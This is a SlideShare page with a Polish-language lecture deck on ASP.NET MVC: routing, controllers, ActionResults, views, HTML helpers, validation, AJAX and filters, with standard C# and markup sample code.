• Kontrola podczas kompilacji
• A można jeszcze szybciej
<%= Html.EditorFor(o => o) %>
<%= Html.DisplayFor(o => o) %>
• Szablony – kontrolka ascx (Dynamic Data? )
– Shared/EditorTemplates oraz Shares/DisplayTemplates
– Dla typu z modelu (np. Customer)
[UIHint(„CountryDropDown”+
<%= Html.EditorFor(c => c.Country, „CountryDropDown”);
– Dla typu danych (np. [DataType(DataType.EmailAddress)])
Data Annotations
public class Pals
{
[Required()]
[Range(33, 99)]
public float Height { get; set; }
[Required()]
[StringLength(7)]
public string Name { get; set; }
[ScaffoldColumn(false)]
public int ID { get; set; }
public bool cool { get; set; }
[DataType(DataType.EmailAddress)]
[RegularExpression(@"^([0-9a-zA-Z]([-.w]*[0-9a-zA-Z])*@([0-9a-zA-Z][-
w]*[0-9a-zA-Z].)+[a-zA-Z]{2,9})$")]
public string email { get; set; }
[DataType(DataType.MultilineText)]
public string Bio { get; set; }
}
// W Post: if (!ModelState.IsValid) …
Data Annotations – a może separacja?
// Customer.cs - partial
// Customer.metadata.cs
// tzw. „Buddy class‛
[MetadataType(typeof(CustomerMetaData))]
public partial class Customer
{
class CustomerMetaData
{
[Required(ErrorMessage="You must supply a name
for a customer.")]
[StringLength(50, ErrorMessage = "A customer
name cannot exceed 50 characters.")]
public string Name { get; set; }
}
}
Custom Validation
public class PriceAttribute : ValidationAttribute
{
public double MinPrice { get; set; }
public override bool IsValid(object value)
{
if (value == null)
{
return true;
}
var price = (double)value;
if (price < MinPrice)
{
return false;
}
double cents = price - Math.Truncate(price);
if (cents < 0.99 || cents >= 0.995)
{
return false;
}
return true;
}
}
// [Price(MinPrice = 1.99)]
Client Validation
• Działa zarówno z Microsoft AJAX jak i jQuery
• <% Html.EnableClientValidation(); %>
– Przed BeginForm()
– Kontrolki dodatkowo uzyskują walidację po
stronie klienta!
Areas
• Podział skomplikowanego
projektu na mniejsze moduły
Areas
public class BlogsAreaRegistration : AreaRegistration
{
public override string AreaName
{
get
{
return "Blogs";
}
}
public override void RegisterArea(AreaRegistrationContext
context)
{
context.MapRoute(
"Blogs_default",
"Blogs/{controller}/{action}/{id}",
new { action = "Index", id = "" }
);
}
}
// W Application_Start()
// AreaRegistration.RegisterAllAreas();
Asynchroniczny kontroler (skalowalnośd!)
public class PortalController : AsyncController
{
public void IndexAsync(string city) {
AsyncManager.OutstandingOperations.Increment(2);
NewsService newsService = new NewsService();
newsService.GetHeadlinesCompleted += (sender, e) =>
{
AsyncManager.Parameters["headlines"] = e.Value;
AsyncManager.OutstandingOperations.Decrement();
};
newsService.GetHeadlinesAsync();
WeatherService weatherService = new WeatherService();
weatherService.GetForecastCompleted += (sender, e) =>
{
AsyncManager.Parameters["forecast"] = e.Value;
AsyncManager.OutstandingOperations.Decrement();
};
weatherService.GetForecastAsync();
}
public ActionResult IndexCompleted(string[] headlines, string[] forecast) {
return View("Common", new PortalViewModel {
NewsHeadlines = headlines,
Weather = forecast
});
}
}
Inne
• [HttpPost] – krócej
• Wartości domyślne parametrów akcji
– public ActionResult Edytuj(string cat,
[DefaultValue(1)] int page) { }
• <% Html.RenderAction() %> (ViewResult) i
<% Html.Action %>
– Renderuje wynik akcji
– Cały cykl życia „strony” – np. inny model, itp.
• Blank project template
CO NOWEGO
W ASP.NET MVC 3?
(wybrane)
Widoki
• Razor
– @* *@
– @model
– Layout, _viewstart.cshtml
– Html.Raw
– Helpery:
Chart, WebGrid, Crypto, WebImage, WebMail
• Wiele silników widoków
– Spark, Nhaml, NDjango
Nowości – c.d.
• Golbal Action Filters
• ViewBag
• Nowe ActionResults
– HttpNotFoundResult, RedirectResult, HtpStatusC
odeResult
• AJAX
– „unobtrusive”
– jQueryValidate
Remote Validator
• JSON Binding
• Nowe adnotacje (np. Compare)
• NuGet
• Partial-Page Output Caching
• Request validation – [AllowHtml]

More Related Content

Similar to ASP.NET MVC - najważniejsze założenia

TWIG - niezłe widoki dla PHP
TWIG - niezłe widoki dla PHPTWIG - niezłe widoki dla PHP
TWIG - niezłe widoki dla PHPPiotr Gabryjeluk
 
Thymeleaf - szablony, które bez przetworzenia zrozumie twoja przeglądarka
Thymeleaf - szablony, które bez przetworzenia zrozumie twoja przeglądarkaThymeleaf - szablony, które bez przetworzenia zrozumie twoja przeglądarka
Thymeleaf - szablony, które bez przetworzenia zrozumie twoja przeglądarkaMaciej Ziarko
 
Aplikacje internetowe real-time w oparciu o React/Redux
Aplikacje internetowe real-time w oparciu o React/ReduxAplikacje internetowe real-time w oparciu o React/Redux
Aplikacje internetowe real-time w oparciu o React/ReduxDawid Rusnak
 
AngularJS - podstawy
AngularJS - podstawyAngularJS - podstawy
AngularJS - podstawyApptension
 
Patronage 2016 Windows 10 Warsztaty
Patronage 2016 Windows 10 WarsztatyPatronage 2016 Windows 10 Warsztaty
Patronage 2016 Windows 10 Warsztatyintive
 
4Developers 2015: Orleans - aplikacje, które skalują i dystrybuują się same -...
4Developers 2015: Orleans - aplikacje, które skalują i dystrybuują się same -...4Developers 2015: Orleans - aplikacje, które skalują i dystrybuują się same -...
4Developers 2015: Orleans - aplikacje, które skalują i dystrybuują się same -...PROIDEA
 
NK API - Przykłady
NK API - PrzykładyNK API - Przykłady
NK API - Przykładynasza-klasa
 
Sieciowe serwery danych
Sieciowe serwery danychSieciowe serwery danych
Sieciowe serwery danychWGUG
 
Migrate API w Drupalu [PL]
Migrate API w Drupalu [PL]Migrate API w Drupalu [PL]
Migrate API w Drupalu [PL]Droptica
 
Interoperability Testing
Interoperability TestingInteroperability Testing
Interoperability Testingkraqa
 
Architektura ngrx w angular 2+
Architektura ngrx w angular 2+Architektura ngrx w angular 2+
Architektura ngrx w angular 2+Paweł Żurowski
 
Jarorcon Sp
Jarorcon SpJarorcon Sp
Jarorcon Spjarorcon
 
tRPC - czy to koniec GraphQL?
tRPC - czy to koniec GraphQL?tRPC - czy to koniec GraphQL?
tRPC - czy to koniec GraphQL?Brainhub
 
AngularJS Warsaw #4 - Dariusz Kalbarczyk "Controller as"
AngularJS Warsaw #4 - Dariusz Kalbarczyk "Controller as"AngularJS Warsaw #4 - Dariusz Kalbarczyk "Controller as"
AngularJS Warsaw #4 - Dariusz Kalbarczyk "Controller as"Dariusz Kalbarczyk
 
Programowanie aplikacji dla Windows 8 (WinRT)
Programowanie aplikacji dla Windows 8 (WinRT)Programowanie aplikacji dla Windows 8 (WinRT)
Programowanie aplikacji dla Windows 8 (WinRT)Bartlomiej Zass
 
Automatyzacja utrzymania jakości w środowisku PHP
Automatyzacja utrzymania jakości w środowisku PHPAutomatyzacja utrzymania jakości w środowisku PHP
Automatyzacja utrzymania jakości w środowisku PHPLaravel Poland MeetUp
 
Webpack - Czym jest webpack i dlaczego chcesz go używać? - wersja krótka
Webpack - Czym jest webpack i dlaczego chcesz go używać? - wersja krótkaWebpack - Czym jest webpack i dlaczego chcesz go używać? - wersja krótka
Webpack - Czym jest webpack i dlaczego chcesz go używać? - wersja krótkaMarcin Gajda
 

Similar to ASP.NET MVC - najważniejsze założenia (20)

TWIG - niezłe widoki dla PHP
TWIG - niezłe widoki dla PHPTWIG - niezłe widoki dla PHP
TWIG - niezłe widoki dla PHP
 
Thymeleaf - szablony, które bez przetworzenia zrozumie twoja przeglądarka
Thymeleaf - szablony, które bez przetworzenia zrozumie twoja przeglądarkaThymeleaf - szablony, które bez przetworzenia zrozumie twoja przeglądarka
Thymeleaf - szablony, które bez przetworzenia zrozumie twoja przeglądarka
 
Aplikacje internetowe real-time w oparciu o React/Redux
Aplikacje internetowe real-time w oparciu o React/ReduxAplikacje internetowe real-time w oparciu o React/Redux
Aplikacje internetowe real-time w oparciu o React/Redux
 
AngularJS - podstawy
AngularJS - podstawyAngularJS - podstawy
AngularJS - podstawy
 
Platforma Kontentowa
Platforma KontentowaPlatforma Kontentowa
Platforma Kontentowa
 
Patronage 2016 Windows 10 Warsztaty
Patronage 2016 Windows 10 WarsztatyPatronage 2016 Windows 10 Warsztaty
Patronage 2016 Windows 10 Warsztaty
 
4Developers 2015: Orleans - aplikacje, które skalują i dystrybuują się same -...
4Developers 2015: Orleans - aplikacje, które skalują i dystrybuują się same -...4Developers 2015: Orleans - aplikacje, które skalują i dystrybuują się same -...
4Developers 2015: Orleans - aplikacje, które skalują i dystrybuują się same -...
 
NK API - Przykłady
NK API - PrzykładyNK API - Przykłady
NK API - Przykłady
 
SphinxSearch
SphinxSearchSphinxSearch
SphinxSearch
 
Sieciowe serwery danych
Sieciowe serwery danychSieciowe serwery danych
Sieciowe serwery danych
 
Migrate API w Drupalu [PL]
Migrate API w Drupalu [PL]Migrate API w Drupalu [PL]
Migrate API w Drupalu [PL]
 
Interoperability Testing
Interoperability TestingInteroperability Testing
Interoperability Testing
 
Architektura ngrx w angular 2+
Architektura ngrx w angular 2+Architektura ngrx w angular 2+
Architektura ngrx w angular 2+
 
Android i REST
Android i RESTAndroid i REST
Android i REST
 
Jarorcon Sp
Jarorcon SpJarorcon Sp
Jarorcon Sp
 
tRPC - czy to koniec GraphQL?
tRPC - czy to koniec GraphQL?tRPC - czy to koniec GraphQL?
tRPC - czy to koniec GraphQL?
 
AngularJS Warsaw #4 - Dariusz Kalbarczyk "Controller as"
AngularJS Warsaw #4 - Dariusz Kalbarczyk "Controller as"AngularJS Warsaw #4 - Dariusz Kalbarczyk "Controller as"
AngularJS Warsaw #4 - Dariusz Kalbarczyk "Controller as"
 
Programowanie aplikacji dla Windows 8 (WinRT)
Programowanie aplikacji dla Windows 8 (WinRT)Programowanie aplikacji dla Windows 8 (WinRT)
Programowanie aplikacji dla Windows 8 (WinRT)
 
Automatyzacja utrzymania jakości w środowisku PHP
Automatyzacja utrzymania jakości w środowisku PHPAutomatyzacja utrzymania jakości w środowisku PHP
Automatyzacja utrzymania jakości w środowisku PHP
 
Webpack - Czym jest webpack i dlaczego chcesz go używać? - wersja krótka
Webpack - Czym jest webpack i dlaczego chcesz go używać? - wersja krótkaWebpack - Czym jest webpack i dlaczego chcesz go używać? - wersja krótka
Webpack - Czym jest webpack i dlaczego chcesz go używać? - wersja krótka
 

ASP.NET MVC - najważniejsze założenia

  • 2. MVC w Internecie • Ruby on Rails (LAMP) – Convention over Configuration – Don’t Repeat Yourself (Keep it DRY) – Routing: map.connect ‘:controller/:action/:id’ • DJANGO (Python) – Regex – mapowanie metoda-URL – (r’^(?P<object_id>d+)/products/category/$’, ‘store. products.view’), • Spring, Struts, JSF(JAVA) • ZEND Framework (ZF) – PHP • MonoRail / Castle Project – ASP.NET • ASP.NET MVC!
  • 3. Założenia ASP.NET MVC • „Convention over configuration” • „DRY” (don’t repeat yourself) • Maksymalna elastycznośd, rozszerzalnośd • Serwowanie metod – nie plików • Zejdź mi z drogi! • Dlaczego nie WebForms?! – RAD – podobnie jak aplikacje okienkowe – Często chcemy wiedzied co się dzieje pod spodem i mied więcej kontroli – Cykl życia strony i kontrolek (własny) – Całkowicie własny model zdarzeo (TextChanged, Click, itp. oraz zdarzenia strony) – Własne zarządzanie stanem – ViewState – Warstwa abstrakcji – czasem niezastąpiona, czasem uciążliwa
  • 4. Problemy z WebForms • ViewState • Trudna kontrola nad renderowanym kodem • Client Ids – ctl00$ContentPlaceHolder1$UserControl1$TextBox1 – Problemy z JavaScript • Testy jednostkowe – Symulacja cyklu życia strony poza IIS – Konieczne wykorzystanie zaawansowanych narzędzi takich jak TypeMock
  • 7. Routing • RESTowy format URLi – Usability (łatwiej zapamiętad, zmienid) – SEO* • NIE odzwierciedla fizycznej lokalizacji! • Cele routingu w ASP.NET MVC – Mapowanie do akcji kontrolera – Konstruowanie URLi • Global.asax var routes = new RouteCollection(); GlobalApplication.RegisterRoutes(routes);
  • 8. // Zasada działania routes.MapRoute(‚simple‛, ‚{first}/{second}/{third}‚); // --- /products/display/123 {first} = products {second} = display {third} = 123 /foo/bar/baz {first} = foo {second} = bar {third} = baz /a.b/c-d/e-f {first} = ‚a.b‛ {second} = ‚c-d‛ {third} = ‚e-f‛
  • 9. // Coś bardziej pożytecznego routes.MapRoute(‚simple‛, ‚{controller}/{action}/{id}‚); // /products/display/123 public class ProductsController : Controller { public ActionResult Display(int id) { //Do something return View(); } }
  • 10. // Przykłady formatów site/{controller}/{action}/{id} // /products/display/123 -  // /site/products/display/123 -  // Można: {language}-{country}/{controller}/{action} {controller}.{action}.{id} service/{action}-{format} (/service/display-xml) {reporttype}/{year}/{month}/{date} (/sales/2008/1/23) // Nie można: {controller}{action}/{id}
  • 11. // Mniej oczywiste przykłady Book{title}and{foo} {filename}.{ext} Algorytm zachłanny: /asp.net.mvc.xml – filename=asp.net.mvc (nie asp) My{location}-{sublocation} /MyHouse-LivingRoom (location=„House‛, sublocation=„LivingRoom‛) {foo}xyz{bar} /xyzxyzxyzblah (foo=„xyzxyz‛ – zachłannie; bar=„blah‛)
  • 12. // Wartości domyślne public class ProductsController : Controller { public ActionResult List() { } } // ---- {controller}/{action} /products/list – OK /products/list/1 – nie zadziała, konieczny drugi route  {controller}/{action}/{id} Zamiast nowej trasy – wartość domyślna (RouteValueDictionary) routes.MapRoute(‚simple‛, ‚{controller}/{action}/{id}‚, new {id = ‚‛}); // ---- routes.MapRoute(‚simple‛, ‚{controller-action}‚, new {action=‛index‛}); // /products- ?? NIE – w segmencie (pomiędzy „/‛) muszą być wszystkie parametry // W tym przypadku action=index istotne tylko przy generowaniu adresów URL
  • 13. // Constraints – dodatkowe ograniczenia (regex) routes.MapRoute(‚blog‛, ‚{year}/{month}/{day}‚, new {controller=‛blog‛, action=‛index‛}, new {year=@‚d{4}‚, month=@‚d{2}‚, day=@‚d{2}‚}); //------------------------------------ // Constraints nie muszą być stringiem // Własne constraints public interface IRouteConstraint { bool Match(…); } // „Z pudełka‛ – implementuje HttpMethodConstraint routes.MapRoute(‚name‛, ‚{controller}‚, null, new {httpMethod = new HttpMethodConstraint(‚GET‛)} );
  • 14. // Parametr catch-all routes.MapRoute(‚catchallroute‛, ‚query/{query-name}/{*extrastuff}‚); /* /query/select/a/b/c – extrastuff = „a/b/c‛ /query/select/a/b/c/ - extrastuff = „a/b/c‛ /query/select/ - extrastuff = „‛ (OK) */
  • 15. // Ignorowanie trasy routes.Add(new Route ( ‚{resource}.axd/{*pathInfo}‚, new StopRoutingHandler() )); // /Webresource.axd // Przekazuje request do standardowego handlera ASP.NET // Domyślnie przy route.MapRoute – MVCRouteHandler // możliwe przekazanie własnej implementacji IRouteHandler // Prościej: routes.IgnoreRoute(‚{resource}.axd/{*pathInfo}‚);
  • 16. Reverse - routing • RouteCollection (kolekcja RouteBase) – Dla każdej trasy pytanie – czy możesz wygenerowad URL przy pomocy tych parametrów? • Route.GetVirtualPath – Jeśli tak – VirtualPathData z adresem URL – Jeśli nie – null • Uwaga: wartości domyślne, które nie są parametrem muszą się zgadzad – Todo/{action}; defaults: controller=home;action=index – Podajemy: Controller=„blah”, action=„cokolwiek” – NIE – Controller=„home”; action=„any” – TAK • Trasy nazwane – parametr do GetVirtualPath • GetVirtualPath wykorzystuje parametry z Defaults – Np. piszemy uniwersalną kontrolkę do nawigacji (dalej…)
  • 17. // Ponieważ jest action na liście defaults – match public static void RegisterRoutes(RouteCollection routes) { routes.MapRoute(null, ‚todo/{action}/{page}‚, new {controller=‛todo‛, action=‛list‛, page=0 }); } public string NextPageUrl(int currentPage, RouteCollection routes) { int nextPage = currentPage + 1; VirtualPathData vp = routes.GetVirtualPath(null, new RouteValueDictionary(new {page = nextPage})); if(vp != null) { return vp.VirtualPath; } return null; }
  • 18. // „Overflow parameters‛ // Dodatkowe parametry do generacji URL (np. query // string, itp.). routes.Add(new Route("forum/{user}/{action}", new MvcRouteHandler()) { Defaults = new RouteValueDictionary{ {"controller", "forum"}, {"user", "admin"}} }); VirtualPathData vp2 = routes.GetVirtualPath(null, new RouteValueDictionary(new { action = "Index" , controller = "forum", param= "Bartek" })); // controller – nie ma w URL, musi się zgadzać z default // (=forum) // param – jako querystring
  • 19. Routing pipeline 1. URLRoutingModule próbuje znaleźd pasującą trasę w statycznej RouteTable.Routes - GetRouteData() na RouteBase – null lub kolekcja 2. Znaleziono trasę (pierwszy wygrywa) -> pobieramy IRouteHandler - Dla MVC: MvcRouteHandler 3. IRouteHandler.GetHandler -> IHttpHandler - Dla MVC: MvcHandler 4. IHttpHandler.ProcessRequest MvcHandler odpowiedzialny za wybór kontrolera
  • 20. Web Forms + MVC Uwaga na uwierzytelnienie! ŹLE <?xml version=‛1.0‛?> <configuration> <system.web> <authorization> <deny users=‛*‚ /> </authorization> </system.web> </configuration> DOBRZE UrlAuthorizationModule.CheckUrlAccessForPrincipal(this.Vir tualPath, requestContext.HttpContext.User, requestContext.HttpContext.Request.HttpMethod)
  • 21. Routing i ASP.NET Web Forms
  • 23. Routing i co dalej? • MVCHandler.ProcessRequest – Wypełnia RequestContext.RouteData • ControllerFactory -> IController – IController.Execute() public interface IController { void Execute(RequestContext requestContext); } • Domyślny ControllerFactory – szuka klasy w odpowiednim katalogu, dodaje „Controller” do parametru z RouteData
  • 24. Najprostszy kontroler public class SimpleController : IController { public void Execute(RequestContext requestContext) { var response = requestContext.HttpContext.Response; response.Write(‚<h1>Hello World!</h1>‛); } } // Podobieństwo do IHTTPHandler // Główna różnica – RequestContext zamiast HttpContext // (dodatkowe informacje związane z requestem MVC) // Klasa abstrakcyjna ControllerBase – wyższy poziom // Właściwości TempData, ViewData, itp.
  • 25. ABC kontrolera • Controller (dziedziczy po ControllerBase) – Po niej z reguły powinna dziedziczyd klasa kontrolera w ASP.NET MVC • Domyślnie wszystkie publiczne metody bezpośrednio dostępne z URL – tzw. „Akcje” kontrolera – Security! – Dziedzicząc po Controller wyrażamy na to zgodę • /simple2/hello -> Simple2Controller.Hello • Parametry – querystring lub URL – Musi zgadzad się z nazwą zmiennej metody
  • 26. Akcja kontrolera - przykład public void Distance(int x1, int y1, int x2, int y2) { double xSquared = Math.Pow(x2 - x1, 2); double ySquared = Math.Pow(y2 - y1, 2); Response.Write(Math.Sqrt(xSquared + ySquared)); } /simple2/distance?x2=1&y2=2&x1=0&y1=0 routes.MapRoute(‚distance‛, ‚simple2/distance/{x1},{y1}/{x2},{y2}‚, new { Controller = ‚Simple2‛, action = ‚Distance‛ } ); /simple2/distance/0,0/1,2
  • 27. ActionResult • Response.Write – Kto ma na to czas?  – Tracimy funkcjonalnośd ASP.NET – np. Master Pages • Kontroler zwraca ActionResult – Wzorzec „Command” (późniejsze wywołanie kodu - np. Undo) public abstract class ActionResult { public abstract void ExecuteResult(ControllerContext context); }
  • 28. ActionResult – c.d. • Wiele typów odpowiedzi (dziedziczą po ActionResult) – Np. ViewResult • ActionInvoker w późniejszej fazie wywołuje Execute na zwróconym obiekcie • Metody pomocnicze (XYZResult wyjątkiem RedirectToAction)
  • 29. public ActionResult ListProducts() { //Pseudo code IList<Product> products = SomeRepository.GetProducts(); ViewData.Model = products; return new ViewResult {ViewData = this.ViewData }; } // Krócej: public ActionResult ListProducts() { //Pseudo code IList<Product> products = SomeRepository.GetProducts(); return View(products); }
  • 30. Typy domyślnych ActionResult ActionResult Opis EmptyResult Nic nie robi ContentResult Odpowiedź jako tekst JsonResult Serializuje obiekt do JSON RedirectResult Przekierowuje do URL RedirectToRouteResult Przekierowuje na podstawie Routingu ViewResult Uruchamia renderowanie widoku przez ViewEngine PartialViewResult Częśd widoku (np. kontrolka) – AJAX FileResult Różne odmiany – zwraca plik JavaScriptResult Wysyła i wywołuje natychmiast JavaScript po stronie klienta
  • 31. ActionResults c.d. • ContentResult – Wykorzystywane, kiedy metoda zwraca inny typ niż ActionResult (void i null – EmptyResult) – wygodne TESTY! • FileResult (abstract), return File() – FilePathResult – FileContentResult – FileStreamResult • JsonResult, return Json() – Uwaga na drzewo obiektu
  • 32. JavascriptResult public ActionResult DoSomething() { script s = ‚$(‘#some-div’).html(‘Updated!’);‛; return JavaScript(s); } <%= Ajax.ActionLink(“click”, “DoSomething”, new AjaxOptions()) %> <div id=”some-div”></div>
  • 33. ViewResult • Wywołuje IViewEngine.FindView() – Zwraca IView – IView.Render() – Domyślnie - przeszukiwane konkretne katalogi • ASPX, ASCX
  • 34. Action Invoker • Routing – wypełnił tylko RouteData – Tak naprawdę nie wywołuje metody kontrolera • ControllerActionInvoker - faktycznie wywołuje akcję kontrolera – Dostępny w IController.ActionInvoker – Lokalizuje metodę (Reflection ze stringa) – Mapuje parametry – Wywołuje metodę i jej filtry – Wywołuje ExecuteResult na zwróconym ActionResult
  • 35. Wywoływanie metod • Dostępna każda metoda, która: – Nie jest oznaczona [NonAction] – Nie jest konstruktorem, właściwością, zdarzeniem – Nie jest orginalnie zdefiniowana w Object (np. ToString()) lub Controller (np. Dispose() i View()) • Dodatkowe atrybuty – [ActionName(„View”)+ – ActionSelectorAttribute
  • 36. ActionSelectorAttribute public abstract class ActionSelectorAttribute : Attribute { public abstract bool IsValidForRequest(ControllerContext controllerContext, MethodInfo methodInfo); } // Invoker zawsze zadaje to pytanie // Jeśli false – metoda nie będzie wywołana /* – [AcceptVerbs(HttpVerbs.Post)] – [NonAction] */
  • 37. Mapowanie parametrów • Źródła parametrów akcji – Request.Form – Route Data – Request.Querystring • UpdateModel() – <%= Html.TextBox(“ProductName”) %> – ViewData*„product”+; • Walidacja – IDataErrorInfo lub atrybuty (MVC 2) – ModelState.AddError
  • 38. Walidacja z model binderami public class Product : IDataErrorInfo { … } // Podsumowanie wszystkich błędów public string Error { get { … } } // Błąd dla konkretnej właściwości public string this[string columnName] { Get { … } }
  • 40. Domyślne widoki <%@ Page Language=‛C#‚ MasterPageFile=‛~/Views/Shared/Site.Master‛ Inherits=‛System.Web.Mvc.ViewPage‛ %> <asp:Content ID=‛indexTitle‛ ContentPlaceHolderID=‛TitleContent‛ runat=‛server‛> Home Page </asp:Content> <asp:Content ID=‛indexContent‛ ContentPlaceHolderID=‛MainContent‛ runat=‛server‛> <h2><%= Html.Encode(ViewData[‚Message‛]) %></h2> <p> To learn more about ASP.NET MVC visit <a href=‛http://asp.net/mvc‛ title=‛ASP.NET MVC Website‛>http://asp.net/mvc</a>. </p> </asp:Content>
  • 41. Widoki • Dziedziczy po ViewPage / ViewPage<T> – …która dziedziczy po System.Web.UI.Page • Nie ma <form runat=„server”> – Teoretycznie może byd – możemy umieszczad kontrolki! – Wysoce niezalecane – kontrolki serwerowe zawierają „kawałki” kontrolera – MVC nie obsługuje ViewState, IsPostBack, itp. • To nie jest stare ASP – ASP miało M, V i C w jednym pliku • Zwracanie widoków – return View() – zgodnie z nazwą akcji – return View(„SpecificView”) – return View(„~/Some/Other/View.aspx”);
  • 42. // Słabo typowane widoki public ActionResult List() { var products = new List<Product>(); for(int i = 0; i < 10; i++) { products.Add(new Product {ProductName = ‚Product ‚ + i}); } ViewData[‚Products‛] = products; return View(); } <ul> <% foreach(Product p in (ViewData[‚Products‛] as IEnumerable<Product>)) {%> <li><%= Html.Encode(p.ProductName) %></li> <% } %> </ul>
  • 43. // Silnie typowane widoki public ActionResult List() { var products = new List<Product>(); for(int i = 0; i < 10; i++) { products.Add(new Product {ProductName = ‚Product ‚ + i}); } return View(products); } <%@ Page Language=‛C#‚ MasterPageFile=‛~/Views/Shared/Site.Master‛ Inherits=‛System.Web.Mvc.ViewPage<IEnumerable<Product>>‛ %> … <ul> <% foreach(Product p in Model) {%> <li><%= Html.Encode(p.ProductName) %></li> <% } %> </ul>
  • 44. HTML Helpers <% %> vs <%= %> i zapomniany średnik <%= Html.ActionLink(‚Link Text‛, ‚Withdraw‛, ‚Account‛) %> <%= Html.ActionLink(‚Link Text‛, ‚Withdraw‛, ‚Account‛, new {id=34231}, null) %> <%= Html.RouteLink(‚Link Text‛, new {action=‛ActionX‛}) %> -> <a href=‛/Home/About‛>LinkText</a> <% using(Html.BeginForm(„action‛, „controller‛)) { %> <% } %> Lub <% Html.BeginForm(); %> (…) <% Html.EndForm(); %>
  • 45. HTML Helpers – c.d. <%= Html.Encode(string) %> <%= Html.Hidden(‚wizardStep‛, ‚1‛) %> <%= Html.DropDownList(„lista") %> <%= Html.Password(‚my-password‛) %> <%= Html.RadioButton(‚color‛, ‚red‛) %> <%= Html.RadioButton(‚color‛, ‚blue‛, true) %> <%= Html.RadioButton(‚color‛, ‚green‛) %> <% Html.RenderPartial(‚MyUserControl‛); %>
  • 46. HTML Helpers – c.d. <%= Html.TextArea(‚text‛, ‚hello <br/> world‛) %> // Kontroler: ViewData[‚Name‛] = product.Name; <%= Html.TextBox(‚Name‛) %> // Kontroler: ViewData[„Name‛] = product; <%= Html.TextBox(‚Product.Name‛) %> // Dodatkowe atrybuty <%= Html.TextBox(‚Name‛, null, new {@class=‛klasa‛}) %> <%= Html.ValidationMessage(‚Name‛) %> <span class=‛field-validation-error‛>Ouch</span> <%= Html.ValidationMessage(‚Name‛, ‚Wlasny kom.!‛) %>
  • 47. Walidacja public ActionResult Index() { var modelState = new ModelState(); modelState.Errors.Add(‚Ouch‛); ModelState[‚Name‛] = modelState; // lub ModelState.AddModelError(„Age", „Ojj"); return View(); } // Opcjonalnie – dodatkowy komunikat podsumowujący <%= Html.ValidationSummary() %> <ul class=‛validation-summary-errors‛> <!-- <span>An error occurred</span> --> <li>Ouch</li> <li>Ouch</li> </ul>
  • 48. View Engine • ViewResult iteruje po ViewEngines.Engines i pyta kto może wyrenderowad widok – Pierwszy wygrywa • Domyślnie - System.Web.Mvc.WebFormViewEngine • IViewEngine.FndView -> Iview • IView.Render protected void Application_Start() { ViewEngines.Engines.Clear(); ViewEngines.Engines.Add(new MyViewEngine()); RegisterRoutes(RouteTable.Routes); }
  • 49. Inaczej - NHAML %h2= ViewData.CategoryName %ul - foreach (var product in ViewData.Products) %li = product.ProductName .editlink = Html.ActionLink("Edit", new { Action="Edit", ID=product.ProductID }) = Html.ActionLink("Add New Product", new { Action="New" })
  • 50. Inaczej - NVelocity #foreach($person in $people) #beforeall <table> <tr><th>Name</th><th>Age</th></tr> #before <tr #odd Style=’color:gray’> #even Style=’color:white’> #each <td>$person.Name</td><td>$person.Age</td> #after </tr> #between <tr><td colspan=’2’>$person.bio</td></tr> #afterall </table> #nodata Sorry No Person Found #end
  • 51. Inaczej - Spark <viewdata model=‛IEnumerable[[Person]]‚/> <ul class=‛people‛> <li each=‛var person in ViewData.Model‛> ${person.LastName}, ${person.FirstName} </li> </ul>
  • 52. View Engine czy ActionResult • Własny ActionResult – Np. MyCustomXMLActionResult – Prosty do zwrócenia – Idealny, kiedy nie potrzebujemy szablonu • View Engine – Zawsze, kiedy potrzebujemy dodatkowego pliku, który opisuje format zwracanej odpowiedzi – Np. XSLTViewEngine
  • 53. AJAX
  • 54. Microsoft AJAX <%using (Ajax.BeginForm(‚HelloAjax‛, new AjaxOptions { UpdateTargetId = ‚results‛ })) { %> <%= Html.TextBox(‚query‛, null, new {size=40}) %> <input type=‛submit‛ /> <%} %> <div id=‛results‛> </div> // ----- public string HelloAjax(string query) { return ‚You entered: ‚ + query; }
  • 55. POST /home/HelloAjax HTTP/1.1 Accept: */* Accept-Language: en-us Referer: http://localhost.:55926/home x-requested-with: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=utf-8 ... query=Hello%20Ajax!&X-Requested-With=XMLHttpRequest // Rozpoznawanie, że mamy do czynienia z AJAX request public ActionResult HelloAjax(string query) { //make sure this is an Asynch post if (Request.IsAjaxRequest()) { return Content(‚You entered: ‚ + query); } else { return RedirectToAction(‚Index‛, new { query = query }); } } // Ten sam znacznik rozpoznawany przez jQuery
  • 56. Partial Views i AJAX // Co jeśli chcemy zwrócić coś więcej niż string? // np. rezultat wyszukiwania w postaci HTML // Rozwiązanie – partial views if(Request.IsAjaxRequest()) { // Partial View return View(‚ProductSearchResults‛, products); } else { return View(products); } <div id=‛results‛> <%Html.RenderPartial(‚ProductSearchResults‛, ViewData.Model); %> </div>
  • 57. To samo w jQuery // jQuery.form plugin <form action=‛<%=Url.Action(‚ProductSearch‛) %>‛ method=‛post‛ id=‛jform‛> <%= Html.TextBox(‚query‛, null, new {size=40}) %> <input type=‛submit‛ id=‛jsubmit‛ value=‛go‛ /> </form> <div id=‛results2‛> <%Html.RenderPartial(‚ProductSearchResults‛, ViewData.Model); %> </div> <script src=‛/Scripts/jquery-1.3.2.js‛ type=‛text/javascript‛></script> <script src=‛/Scripts/jquery-form.js‛ type=‛text/javascript‛></script> <script type=‛text/javascript‛> $(document).ready(function() { $(‘#jform’).submit(function() { $(‘#jform’).ajaxSubmit({ target: ‘#results2’ }); return false; }); }); </script> // Inne opcje: url, type, beforeSubmit, Success, dataType, resetForm, // clearForm
  • 58. Extendery - Autocomplete <script type=‛text/javascript‛> Sys.Application.add_init(function() { $create( AjaxControlToolkit.AutoCompleteBehavior, { serviceMethod: ‘ProductNameSearch’, servicePath: ‘/ProductService.asmx’, minimumPrefixLength: 1, completionSetCount: 10 }, null, null, $get(‘query’)) }); </script>
  • 59. Filtrowanie listy - jQuery <script language=‛javascript‛ type=‛text/javascript‛> $(document).ready(function() { $(‚#CategoryID‛).change(function() { var selection = $(‚#CategoryID‛).val(); $(‚#results‛).load(‚/home/ProductByCategory/‚ + selection); }}) }); </script>
  • 61. Filtry w ASP.NET MVC • Dostępne „z pudełka” – Authorize – HandleError – OutputCache [Authorize(Roles=‛Admins, SuperAdmins‛)] public class AdminController { //Only admins should see this. public ActionResult Index() { return View(); } //Only admins should see this. public ActionResult DeleteAllUsers() { // Jesteśmy bezpieczni } }
